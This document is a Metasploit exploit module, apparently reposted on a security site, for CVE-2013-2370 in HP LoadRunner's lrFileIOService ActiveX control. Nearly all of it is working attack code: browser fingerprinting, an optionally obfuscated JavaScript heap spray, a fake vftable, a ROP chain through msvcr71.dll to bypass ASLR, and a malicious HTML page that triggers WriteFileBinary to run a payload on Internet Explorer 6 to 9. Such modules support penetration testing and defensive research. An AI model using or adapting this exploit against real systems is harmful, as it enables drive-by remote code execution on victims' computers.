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HP LoadRunner lrFileIOService ActiveX Remote Code Execution
来源:metasploit.com 作者:rgod 发布时间:2013-08-29  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::RopDb
	include Msf::Exploit::Remote::BrowserAutopwn

	autopwn_info({
		:ua_name    => HttpClients::IE,
		:ua_minver  => "6.0",
		:ua_maxver  => "9.0",
		:javascript => true,
		:os_name    => OperatingSystems::WINDOWS,
		:rank       => Rank,
		:classid    => "{8D9E2CC7-D94B-4977-8510-FB49C361A139}",
		:method     => "WriteFileBinary"
	})

	def initialize(info={})
		super(update_info(info,
			'Name'           => "HP LoadRunner lrFileIOService ActiveX Remote Code Execution",
			'Description'    => %q{
				This module exploits a vulnerability on the lrFileIOService ActiveX, as installed
				with HP LoadRunner 11.50. The vulnerability exists in the WriteFileBinary method
				where user provided data is used as a memory pointer.  This module has been tested
				successfully on IE6-IE9 on Windows XP, Vista and 7, using the LrWebIERREWrapper.dll
				11.50.2216.0. In order to bypass ASLR the no aslr compatible module msvcr71.dll is
				used. This one is installed with HP LoadRunner.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2013-2370' ],
					[ 'OSVDB', '95640' ],
					[ 'BID', '61441'],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-182/' ],
					[ 'URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03862772' ]
				],
			'Payload'        =>
				{
					'Space' => 1024,
					'DisableNops' => true,
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
				},
			'DefaultOptions'  =>
				{
					'PrependMigrate' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# LrWebIERREWrapper.dll 11.50.2216.0
					[ 'Automatic', {} ],
					[ 'IE 7 on Windows XP SP3', { 'Rop' => nil,  'Offset' => '0x5F4' } ],
					[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
					[ 'IE 7 on Windows Vista',  { 'Rop' => nil,  'Offset' => '0x5f4' } ],
					[ 'IE 8 on Windows Vista',  { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
					[ 'IE 8 on Windows 7',      { 'Rop' => :jre, 'Offset' => '0x5f4' } ],
					[ 'IE 9 on Windows 7',      { 'Rop' => :jre, 'Offset' => '0x5fe' } ]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jul 24 2013",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)

	end

	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'

		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

		ie_name = "IE #{ie}"

		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		end

		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end

		return nil
	end

	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))
		js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))

		# Land the payload at 0x0c0c0c0c
		case my_target
		when targets[6]
			# IE 9 on Windows 7
			js = %Q|
			function randomblock(blocksize)
			{
				var theblock = "";
				for (var i = 0; i < blocksize; i++)
				{
					theblock += Math.floor(Math.random()*90)+10;
				}
				return theblock;
			}

			function tounescape(block)
			{
				var blocklen = block.length;
				var unescapestr = "";
				for (var i = 0; i < blocklen-1; i=i+4)
				{
					unescapestr += "%u" + block.substring(i,i+4);
				}
				return unescapestr;
			}

			var heap_obj = new heapLib.ie(0x10000);
			var code = unescape("#{js_code}");
			var nops = unescape("#{js_random_nops}");
			while (nops.length < 0x80000) nops += nops;
			var offset_length = #{my_target['Offset']};
			for (var i=0; i < 0x1000; i++) {
				var padding = unescape(tounescape(randomblock(0x1000)));
				while (padding.length < 0x1000) padding+= padding;
				var junk_offset = padding.substring(0, offset_length);
				var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);
				while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
				sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
				heap_obj.alloc(sprayblock);
			}
			|

		else
			# For IE 6, 7, 8
			js = %Q|
			var heap_obj = new heapLib.ie(0x20000);
			var code = unescape("#{js_code}");
			var nops = unescape("#{js_nops}");
			while (nops.length < 0x80000) nops += nops;
			var offset = nops.substring(0, #{my_target['Offset']});
			var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
			while (shellcode.length < 0x40000) shellcode += shellcode;
			var block = shellcode.substring(0, (0x80000-6)/2);
			heap_obj.gc();
			for (var i=1; i < 0x300; i++) {
				heap_obj.alloc(block);
			}
			|

		end

		js = heaplib(js, {:noobfu => true})

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		return js
	end

	def get_payload(t, cli)
		code = payload.encoded

		fake_object = [
			0x0c0c0c0c, # fake vftable pointer
			0x0c0c0c14  # function pointer
		].pack("V*")

		# No rop. Just return the payload.
		return fake_object + code if t['Rop'].nil?

		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :jre
			print_status("Using msvcr71.dll ROP")
			fake_object = [
				0x0c0c0c0c, # fake vftable pointer
				0x7c342643  # xchg eax,esp # pop edi # add byte ptr ds:[eax],al # pop ecx # retn
			].pack("V*")
			rop_payload = fake_object + generate_rop_payload('java', code)#, {'pivot'=>stack_pivot})
		end

		return rop_payload
	end

	def load_exploit_html(my_target, cli)
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)
		object_id = rand_text_alpha(rand(10) + 8)

		html = %Q|
		<html>
		<head>
		<script>
		#{js}
		</script>
		</head>
		<body>
		<object classid='clsid:8D9E2CC7-D94B-4977-8510-FB49C361A139' id='#{object_id}'></object>
		<script language='javascript'>
		#{object_id}.WriteFileBinary("#{rand_text_alpha(4+ rand(4))}", 0x0c0c0c0c);
		</script>
		</body>
		</html>
		|

		return html
	end

	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")

		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end

		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end

end

 
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